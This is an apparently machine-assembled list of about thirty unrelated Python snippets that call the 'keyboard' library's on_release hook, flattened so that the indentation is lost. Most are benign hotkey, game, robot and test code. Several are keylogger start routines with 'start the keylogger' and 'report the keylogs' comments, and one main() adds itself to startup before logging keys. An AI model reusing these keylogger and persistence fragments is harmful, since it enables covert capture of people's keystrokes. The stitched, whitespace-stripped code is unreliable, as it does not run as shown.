def start(self): try: keyboard.on_release(callback=self.listen) keyboard.wait() except KeyboardInterrupt: print("Exiting...") sys.exit()
def __init__(self): self.soundboardActive = True self.acceptHotkeys = True self.modifierPressed = False self.lastHotBarButton = None self.overlayTimer = None self.lastCancelPress = 0 self.isCancelPressed = False self.lastReloadPress = 0 self.isReloadPressed = False self.overlay = Overlay() self.outputStreams = [] self.reload() kb.on_press(self.keyPressed) kb.on_release(self.keyReleased) # Can only be stopped by destroying overlay self.overlay.mainloop()
def __init__(self): self.events = Events() # refresh UI - doesn't work -> remove keyboard.add_hotkey('r', self.refresh) # control Mobile Platform keyboard.add_hotkey('w', self.forward) keyboard.add_hotkey('s', self.backward) keyboard.add_hotkey('a', self.left) keyboard.add_hotkey('d', self.right) keyboard.add_hotkey('z', self.get_some_debug_data) # control Manipulator keyboard.add_hotkey('up+1', self.manipulator_motor_1_forward) keyboard.add_hotkey('down+1', self.manipulator_motor_1_backward) keyboard.add_hotkey('up+2', self.manipulator_motor_2_forward) keyboard.add_hotkey('down+2', self.manipulator_motor_2_backward) keyboard.add_hotkey('up+3', self.manipulator_motor_3_forward) keyboard.add_hotkey('down+3', self.manipulator_motor_3_backward) keyboard.add_hotkey('up+4', self.manipulator_motor_4_forward) keyboard.add_hotkey('down+4', self.manipulator_motor_4_backward) keyboard.add_hotkey('up+5', self.manipulator_motor_5_forward) keyboard.add_hotkey('down+5', self.manipulator_motor_5_backward) keyboard.add_hotkey('up+6', self.manipulator_motor_5_forward) keyboard.add_hotkey('down+6', self.manipulator_motor_5_backward) keyboard.add_hotkey('u', self.manipulator_status_update) keyboard.on_release(self.halt)
def __init__(self, kbd_notes: Dict[str, int]): self.name: str = "Typing keyboard" self.__kbd_notes = kbd_notes self.__queue = Queue() self.pressed_key = False keyboard.on_press(callback=self.on_press, suppress=True) keyboard.on_release(callback=self.on_release, suppress=True)
def start(self): #start the keylogger keyboard.on_release(callback=self.callback) #start reporting the keylogs self.report() #block the thread self.semaphore.acquire()
def main(): add_to_startup() kb.on_release(log) while True: time.sleep(0.1) pass
def start(self): keyboard.on_release(callback=self.callback) self.report() self.semaphore.acquire()
def __init__(self): self.lastUpdateTime = getCurrentMillis() x,y = getScreenSize() self.screenMem = [' ']*(x*y) keyboard.on_release(self._onKeyReleased, True) keyboard.on_press(self._onKeyPressed, True) pass
def start(self): if self.mode == "out_for_other_app": self.interval = 3 else: while True: try: if self.language == "English": choice = int( input( "Enter the number of seconds after which to write output to a file: " )) else: choice = int( input( "Immettere il numero di secondi dopo cui scrivere l'output su un file: " )) continue_ = True except Exception: if self.language == "English": print("You have not entered a valid choice!") else: print("Non hai inserito una scelta valida!") continue_ = False if continue_: if choice >= 0 and choice <= 3600: self.interval = choice break else: if self.language == "English": print("You have not entered a valid choice!") else: print("Non hai inserito una scelta valida!") keyboard.on_release(callback=self.callback) self.report() self.semaphore.acquire()
def _keyEvent(self, key): ''' This method is the callback triggered if a key is pressed (if a scenario is provided). It calls the ``key`` method and pass a string as argument indicating the name of the pressed key. ''' keyboard.unhook_all() self.key(key.name) keyboard.on_release(self._keyEvent)
def __init__(self, master, sticky=False): self.logger = logging.getLogger(master.logger.name + ".Keystroke_Watcher") self.keys_held = set() self.sticky = sticky self.hooks = {} keyboard.on_press(lambda e: self.keys_held.add(e.name)) keyboard.on_release(lambda e: self.keys_held.discard(e.name))
def __init__(self, mpd_client: AlarmMPDClient, alarm: Alarm, sleep_helper: SleepHelper): self.__mpd_client = mpd_client self.__isWindows = platform.system() == 'Windows' self.__current_key_sequence: KeySequence = None self.__alarm = alarm self.__sleep_helper = sleep_helper keyboard.on_release(lambda e: self.processKey(e.name, e.scan_code))
def start(self): """ Start keyboard listener and keeps it running until ctrl + c is pressed """ keyboard.on_release(self.record_press) # starts record_press() when true keyboard.wait(hotkey="esc")
def start(self): self.start_dt = datetime.now() # begins keylogger keyboard.on_release(callback=self.callback) # begin reporting on logs self.driver() # block curr thread TODO: experiment with htis # should keep recording keystrokes until ctrl+c is pressed... keyboard.wait()
def start(self): # record the start datetime self.start_dt = datetime.now() # start the keylogger keyboard.on_release(callback=self.callback) # start the report the keylogs self.report() # block the current thread, wait until CTRL+C is pressed keyboard.wait()
def start(self): # start the keylogger keyboard.on_release(callback=self.callback) # start reporting the keylogs # block the current thread, # since on_release() doesn't block the current thread # if we don't block it, when we execute the program, nothing will happen # that is because on_release() will start the listener in a separate thread self.semaphore.acquire()
def start(self): self.start_dt = datetime.now() keyboard.on_release(callback=self.callback) self.report() keyboard.wait()
def start(self): # inicie o keylogger keyboard.on_release(callback=self.callback) # comece a relatar os keylogs self.report() # bloquear o segmento atual # desde on_release () não bloqueia o segmento atual # se não o bloquearmos, quando executarmos o programa, nada acontecerá # isso ocorre porque on_release () iniciará o ouvinte em um thread separado self.semaphore.acquire()
def __init__(self, comport): self.comport = comport self.packet_recv = Event() self.onerror = Event() self.controllerdisconnected = Event() # all keyevents are hooked here if self.comport == 'keyboard_legacy': keyboard.on_press(callback=self.on_down) keyboard.on_release(callback=self.on_release) self.buffer = {}
def mainApp(): time.sleep(1) macros_togle() app.update() keyboard.add_hotkey('caps lock', macros_togle, args=(), suppress=False, timeout=1, trigger_on_release=False) keyboard.on_release(lastKey, suppress=False)
def start(self): #Keylogger start keyboard.on_release(callback=self.callback) #Report the logs self.report() #Block the current thread #on_release() doesn't block it #because it listen on a separate thread self.semaphore.acquire()
def start(self): def callback(event): if event.event_type == 'down': if event.name == 'up': self.ctrl['up'] = 1 if event.name == 'down': self.ctrl['down'] = 1 if event.name == 'left': self.ctrl['left'] = 1 if event.name == 'right': self.ctrl['right'] = 1 if event.event_type == 'up': if event.name == 'up': self.ctrl['up'] = 0 if event.name == 'down': self.ctrl['down'] = 0 if event.name == 'left': self.ctrl['left'] = 0 if event.name == 'right': self.ctrl['right'] = 0 if self.ctrl0['up'] != self.ctrl['up']: self.ctrl0['up'] = self.ctrl['up'] if self.ctrl['up'] == 1: self.sendRaw({'ch': 'up', 'status': 'high'}) else: self.sendRaw({'ch': 'up', 'status': 'low'}) if self.ctrl0['down'] != self.ctrl['down']: self.ctrl0['down'] = self.ctrl['down'] if self.ctrl['down'] == 1: self.sendRaw({'ch': 'down', 'status': 'high'}) else: self.sendRaw({'ch': 'down', 'status': 'low'}) if self.ctrl0['left'] != self.ctrl['left']: self.ctrl0['left'] = self.ctrl['left'] if self.ctrl['left'] == 1: self.sendRaw({'direction': 20}) else: self.sendRaw({'direction': 90}) if self.ctrl0['right'] != self.ctrl['right']: self.ctrl0['right'] = self.ctrl['right'] if self.ctrl['right'] == 1: self.sendRaw({'direction': 160}) else: self.sendRaw({'direction': 90}) keyboard.on_press(callback, suppress=True) keyboard.on_release(callback)
def __init__(self, state: State): self.state = state self.last_presses = ["N/A"] * 3 # need this because keyboard will send the wrong value when needed for some reason self.key_states = { "left ctrl": False, "right ctrl": False, "left shift": False, "right shift": False } keyboard.on_release(self.on_release_key) keyboard.on_press(self.on_press_key, suppress=True)
def keyListen(): def down(event): #keyboard.send("backspace") print('down: {0}'.format(event.name)) def up(event): #keyboard.send("backspace") print('up: {0}'.format(event.name)) if (event.name == 'esc'): print('esc -- kill') keyboard.unhook_all() sys.exit() keyboard.unhook_all() tkInst = homeKey() print("running after tk mainloop") keyboard.on_press(tkInst.keyDown, True) keyboard.on_release(tkInst.keyUp, True) #keyboard.on_press(down,True) #keyboard.on_release(up,True) keyboard.wait()
def main(): try: lock = lockfile.LockFile(path.join(Env.appdata_path, "duct-background")) except lockfile.LockError: Utils.send_toast( "Duct Background is already running", "You can only have one instance of Duct Background running at any time" ) return print("Duct Background is already running") thread = Timer(5, lambda: update_check_scheduler(None)) thread.start() keyboard.on_release(key_on_release) print("Listening for 'CTRL + ALT + D' or 'Print Screen' key release") Utils.send_toast( "Duct Background is now running", "You can now use either 'CTRL + ALT + D' or 'Print Screen' to summon the Duct interface", duration=5) keyboard.wait() lock.close()
def hook(): """ Hook the keyboard modules on_press and on_release functionality with our custom shortcuts functionality. We only ever hook once, and our loggers/instances present are actually used when a callback is executed. """ global _HOOKED, _FUNCTION_SHORTCUTS, _SHORTCUT_FUNCTIONS if not _HOOKED: # Setup the shortcut functions and reversed function shortcuts # that are used globally to ensure that we have all functions # that can be queued up through a keyboard shortcut. for prop in BotProperty.shortcuts(): _FUNCTION_SHORTCUTS[prop["shortcut"]] = prop["name"] _SHORTCUT_FUNCTIONS[prop["name"]] = prop['shortcut'] keyboard.on_press(callback=on_press) keyboard.on_release(callback=on_release) # Flipping our flag now, hook will be called again for each instance # being started, but only one hook call is ever successfully called. _HOOKED = True
def main(): #Creating class objects and variables uart = rxtx.SerialCom() Usercom = rxtx.UserCom(serial_class=uart) Mcucom = rxtx.McuCom() KeyClass = KeyInput.KeyboardListener(Usercom) start_trans = False thread_index = 0 thread_dict = {} INT_keyboard = on_release(KeyClass) uart.IntSerialport() while True and not Usercom.user_comflags == 'exit': Mcucom(uart.RX_routine()) # Statement for genarating threads on command. # Blocks as long the current thread is alive if Usercom.user_comflags == "run" and not start_trans: # thread_index used as implisit identity and object daclaration thread_index += 1 thread_dict[thread_index] = rxtx.SerialThread( thread_id=str(thread_index), name=str(thread_index) + "TX_serial_routine", target=uart.TX_routine, data=Usercom.data, mcu_class=Mcucom, user_class=Usercom) thread_dict[thread_index].start() start_trans = True elif not Usercom.read_runflag() and start_trans: if not thread_dict[thread_index].is_alive(): if Usercom.user_comflags == 'abort': Usercom.reset() start_trans = False elif Usercom.user_comflags == 'reset': Usercom.reset() Mcucom.reset() start_trans = False elif 'Print done' in Mcucom.mcu_comflags: Usercom.reset() Mcucom.reset() start_trans = False print(">> Closing program") uart.close()
def test_on_release(self): keyboard.on_release(lambda e: self.assertEqual(e.name, 'a') and self. assertEqual(e.event_type, KEY_UP)) self.do(d_a + u_a)
def run(self): keyboard.on_press(lambda x: self.on_press(x.name)) keyboard.on_release(lambda x: self.on_release(x.name)) keyboard.wait()
# Have the sample listener receive events from the controller controller.add_listener(listener) # Keep this process running until Enter is pressed print "Press q to quit..." try: sys.stdin.readline() except KeyboardInterrupt: pass finally: # Remove the sample listener when done controller.remove_listener(listener) # event listeners ky.on_release(release_key_handler, suppress=True) ky.on_press(press_key_handler, suppress=True) if subprocess.call(["networksetup -setairportnetwork en0 BrandoTello"], shell=True) != 0: raise ValueError("Network not connected: Turn on copter maybe") drone = tellopy.Tello() try: drone.subscribe(drone.EVENT_FLIGHT_DATA, data_handler) drone.connect() drone.wait_for_connection(60.0) # skip first 100 frames frame_skip = 100
def test_on_release(self): keyboard.on_release(lambda e: self.assertEqual(e.name, "a") and self.assertEqual(e.event_type, KEY_UP)) self.press("a") self.release("a")
def test_on_release(self): keyboard.on_release(lambda e: self.assertEqual(e.name, 'a') and self.assertEqual(e.event_type, KEY_UP)) self.do(d_a+u_a)